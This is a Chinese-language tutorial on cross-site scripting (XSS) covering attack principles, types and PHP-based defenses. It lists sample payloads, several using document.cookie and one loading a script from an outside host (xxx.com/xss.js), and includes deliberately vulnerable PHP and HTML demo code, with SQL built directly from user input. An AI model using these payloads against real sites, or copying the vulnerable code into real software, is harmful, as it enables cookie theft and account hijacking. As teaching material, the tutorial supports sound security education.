xss攻击前端解决办法(【Web 安全】XSS 攻击详解)
一 、XSS 攻击概述
跨站脚本攻击XSS(Cross Site Scripting) ,为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆 ,故将跨站脚本攻击缩写为XSS 。
恶意攻击者往 Web 页面里插入恶意 Script 代码(我说:插入的过程类似于注入) ,当用户浏览该页面时 ,嵌入 Web 里面的 Script 代码会被执行 ,从而达到恶意攻击用户的目的 。
XSS 攻击针对的是用户层面的攻击!
二 、XSS 攻击原理
HTML 是一种超文本标记语言 ,通过将一些字符特殊地对待来区别文本和标记 ,例如 ,小于符号(<)被看作是 HTML 标签的开始 ,
与之间的字符是页面的标题等等。当动态页面中插入的内容含有这些特殊字符(如<)时,用户浏览器会将其误认为是插入了 HTML 标签 ,当这些 HTML 标签引入了一段 JavaScript 脚本时 ,这些脚本程序就将会在用户浏览器中执行 。所以,当这些特殊字符不能被动态页面检查或检查出现失误时 ,就将会产生 XSS 漏洞 。
1. XSS的攻击载荷
以下所有标签的 > 都可以用 // 代替 , 例如 <script>alert(1)</script//
(1) script 标签
<script> 标签是最直接的 XSS 有效载荷,脚本标记可以引用外部的 JavaScript 代码 ,也可以将代码插入脚本标记中:
(关于 web 基础 ,<script> 的介绍可以参见我的另一篇文章:【Web】JavaScript 简介)
<script>alert("hack")</script> #弹出hack <script>alert(/hack/)</script> #弹出hack <script>alert(1)</script> #弹出1 ,对于数字可以不用引号 <script>alert(document.cookie)</script> #弹出cookie <script src=http://xxx.com/xss.js></script> #引用外部的xss(2) svg 标签
<svg onload="alert(1)"> <svg οnlοad="alert(1)"//(3) img 标签
<img src=1 οnerrοr=alert("hack")> <img src=1 οnerrοr=alert(document.cookie)> #弹出cookie(4)body 标签
<body οnlοad=alert(1)> <body οnpageshοw=alert(1)>(5) video 标签
<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />(6) style 标签
<style οnlοad=alert(1)></style>2. XSS可以插在哪里?
用户输入作为 script 标签内容 用户输入作为 HTML 注释内容 用户输入作为 HTML 标签的属性名 用户输入作为 HTML 标签的属性值 用户输入作为 HTML 标签的名字 直接插入到 CSS 里 最重要的是 ,千万不要引入任何不可信的第三方 JavaScript 到页面里! #用户输入作为HTML注释内容 ,导致攻击者可以进行闭合绕过 <!-- 用户输入 --> <!-- --><script>alert(hack)</script><!-- --> #用户输入作为标签属性名 ,导致攻击者可以进行闭合绕过 <div 用户输入="xx"> </div> <div ></div><script>alert(hack)</script><div a="xx"> </div> #用户输入作为标签属性值 ,导致攻击者可以进行闭合绕过 <div id="用户输入"></div> <div id=""></div><script>alert(hack)</script><div a="x"></div> #用户输入作为标签名 ,导致攻击者可以进行闭合绕过 <用户输入 id="xx" /> <><script>alert(hack)</script><b id="xx" /> #用户输入作为CSS内容 ,导致攻击者可以进行闭合绕过 <style>用户输入<style> <style> </style><script>alert(hack)</script><style></style>三、XSS 攻击的分类
XSS分为:存储型 、反射型 、DOM型
存储型XSS:持久化,代码是存储在 服务器 中的 ,如在个人信息或发表文章等地方 ,插入代码,如果没有过滤或过滤不严 ,那么这些代码将储存到服务器中 ,用户访问该页面的时候触发代码执行 。这种XSS比较危险,容易造成蠕虫 ,盗窃cookie 。 反射型XSS:非持久化 ,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容) ,一般容易出现在 web 页面 。反射型XSS大多数是用来盗取用户的Cookie信息 。 DOM型XSS:不经过后端 ,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model ,DOM)的一种漏洞 ,DOM-XSS是通过 url 传入参数去控制触发的 ,其实也属于反射型XSS 。1. 反射型
2. 存储型
3. DOM型
如下图 ,我们在 URL 中传入参数的值 ,然后客户端页面通过 js 脚本利用 DOM 的方法获得 URL 中参数的值,再通过 DOM 方法赋值给选择列表 ,该过程没有经过后端 ,完全是在前端完成的 。
所以,我们就可以在我们输入的参数上做手脚了 。
四 、对 XSS 漏洞的简单攻击
1. 反射型XSS
先放出源代码
//前端 1.html: <html> <head lang="en"> <meta charset="UTF-8"> <title>反射型XSS</title> </head> <body> <form action="action.php" method="post"> <!-- <form>表示文档的服务器区域 ,此区域中包含一个Web站点的信息控件 ,用于向Web服务器区域提交 --> <input type="text" name="name" /> <input type="submit" value="提交"> </form> </body> </html> //后端 action.php: <?php $name=$_POST["name"]; echo $name; ?>这里有一个用户提交的页面,用户可以在此提交数据 ,数据提交之后给后台处理
:
所以 ,我们可以在输入框中提交数据: ,看看会有什么反应:
页面直接弹出了 hack 的页面 ,可以看到 ,我们插入的语句已经被页面给执行了。这就是最基本的 反射型的 XSS 漏洞 ,这种漏洞数据流向是: 前端–>后端–>前端
2. 存储型XSS
先给出源代码
//前端:2.html <html> <head lang="en"> <meta charset="UTF-8"> <title>存储型XSS</title> </head> <body> <form action="action2.php" method="post"> 输入你的ID: <input type="text" name="id" /> <br/> 输入你的Name:<input type="text" name="name" /> <br/> <input type="submit" value="提交"> </form> </body> </html> //后端:action2.php <?php $id=$_POST["id"]; $name=$_POST["name"]; mysql_connect("localhost","root","root"); mysql_select_db("test"); $sql="insert into xss value ($id,$name)"; $result=mysql_query($sql); ?> //供其他用户访问页面:show2.php <?php mysql_connect("localhost","root","root"); mysql_select_db("test"); $sql="select * from xss where id=1"; $result=mysql_query($sql); while($row=mysql_fetch_array($result)){ echo $row[name]; } ?>这里有一个用户提交的页面 ,数据提交给后端之后 ,后端存储在数据库中 (比反射型多了一个存储进数据库的过程 ,所以会存在存储型 XSS 漏洞) 。然后当其他用户访问另一个页面的时候,后端调出该数据 ,显示给另一个用户 ,XSS 代码就被执行了 。
我们输入 1 和 <script>alert(\hack\)</script> ,注意 ,这里的 hack 的单引号要进行转义 ,因为 sql 语句中的 $name 是单引号的,所以这里不转义的话就会闭合 sql 语句中的单引号。不然注入不进去 。提交了之后 ,我们看看数据库:
可以看到 ,我们的 XSS 语句已经插入到数据库中了
然后当其他用户访问 show2.php 页面时 ,我们插入的 XSS 代码就执行了 。
存储型 XSS 的数据流向是:前端–>后端–>数据库–>后端–>前端3. DOM型XSS
先放上源代码
// 前端3.html <html> <head lang="en"> <meta charset="UTF-8"> <title>DOM型XSS</title> </head> <body> <form action="action3.php" method="post"> <input type="text" name="name" /> <input type="submit" value="提交"> </form> </body> </html> // 后端action3.php <?php $name=$_POST["name"]; ?> <input id="text" type="text" value="<?php echo $name; ?>"/> <div id="print"></div> <script type="text/javascript"> var text=document.getElementById("text"); var print=document.getElementById("print"); print.innerHTML=text.value; // 获取 text的值 ,并且输出在print内。这里是导致 xss 的主要原因 。 </script>这里有一个用户提交的页面 ,用户可以在此提交数据 ,数据提交之后给后台处理:
我们可以输入 <img src=1 οnerrοr=alert(hack)> ,然后看看页面的变化:
页面直接弹出了 hack 的页面 ,可以看到 ,我们插入的语句已经被页面给执行了 。
这就是 DOM型XSS 漏洞,这种漏洞数据流向是: 前端–>浏览器五 、XSS 攻击过程
1. 反射型 XSS 漏洞
Alice 经常浏览某个网站 ,此网站为 Bob 所拥有 。Bob 的站点需要 Alice 使用用户名/密码进行登录 ,并存储了 Alice 敏感信息(比如银行帐户信息) 。 Tom 发现 Bob 的站点存在反射性的 XSS 漏洞 。 Tom 利用 Bob 网站的反射型 XSS 漏洞编写了一个exp,做成链接的形式 ,并利用各种手段诱使 Alice 点击 。 Alice 在登录到 Bob 的站点后 ,浏览了 Tom 提供的恶意链接 。 嵌入到恶意链接中的恶意脚本在 Alice 的浏览器中执行 。此脚本 盗窃敏感信息 (cookie 、帐号信息等信息) 。然后在 Alice 完全不知情的情况下将这些信息发送给 Tom。 Tom 利用获取到的 cookie 就可以以 Alice 的身份登录 Bob 的站点,如果脚本的功更强大的话 ,Tom 还可以对 Alice 的浏览器做控制并进一步利用漏洞控制 。2. 存储型XSS漏洞
Bob 拥有一个 Web 站点 ,该站点允许用户发布信息/浏览已发布的信息 。 Tom 检测到 Bob 的站点存在存储型的 XSS 漏洞。 Tom 在 Bob 的网站上发布一个带有恶意脚本的热点信息 ,该热点信息存储在了 Bob 的服务器的数据库中 ,然后吸引其它用户来阅读该热点信息 。 Bob 或者是任何的其他人如 Alice 浏览该信息之后 ,Tom 的恶意脚本就会执行 。 Tom的恶意脚本执行后 ,Tom就可以对浏览器该页面的用户发动一起 XSS 攻击。六 、XSS漏洞的危害
从以上我们可以知道 ,存储型的XSS危害最大 。因为他存储在服务器端 ,所以不需要我们和被攻击者有任何接触 ,只要被攻击者访问了该页面就会遭受攻击 。而反射型和DOM型的XSS则需要我们去诱使用户点击我们构造的恶意的URL,需要我们和用户有直接或者间接的接触 ,比如利用社会工程学或者利用在其他网页挂马的方式 。
那么 ,利用XSS漏洞可以干什么呢?
如果JS水平一般的话,还可以利用网上免费的 XSS 平台来构造代码实施攻击 。
七 、XSS 的防御
XSS防御的总体思路是:对 用户的输入(和URL参数) 进行 过滤 ,对 输出 进行 html编码 。也就是对用户提交的所有内容进行过滤 ,对url中的参数进行过滤;然后对动态输出到页面的内容进行 html 编码,转换为 html 实体 ,使脚本无法在浏览器中执行 。
对输入的内容进行过滤 ,可以分为黑名单过滤和白名单过滤 。黑名单过滤虽然可以拦截大部分的 XSS 攻击 ,但是还是存在被绕过的风险 。白名单过滤虽然可以基本杜绝 XSS 攻击 ,但是真实环境中一般是不能进行如此严格的白名单过滤的 。
对输出进行 html 编码 ,就是通过函数 ,将用户的输入的数据进行 html 编码 ,使其不能作为脚本运行。
如下 ,是使用 php 中的 htmlspecialchars 函数对用户输入的 name 参数进行 html 编码 ,将其转换为 html 实体: #使用htmlspecialchars函数对用户输入的name参数进行html编码,将其转换为html实体 $name = htmlspecialchars( $_GET[ name ] );如下 ,图一是没有进行 html 编码的 ,图2是进行了 html 编码的 。经过 html 编码后 script 标签被当成了 html 实体 。
我们还可以服务端设置会话 Cookie 的 HTTP Only 属性,这样 ,客户端的 JS 脚本就不能获取Cookie 信息了。
参考链接
XSS(跨站脚本攻击)详解创心域SEO版权声明:以上内容作者已申请原创保护,未经允许不得转载,侵权必究!授权事宜、对本内容有异议或投诉,敬请联系网站管理员,我们将尽快回复您,谢谢合作!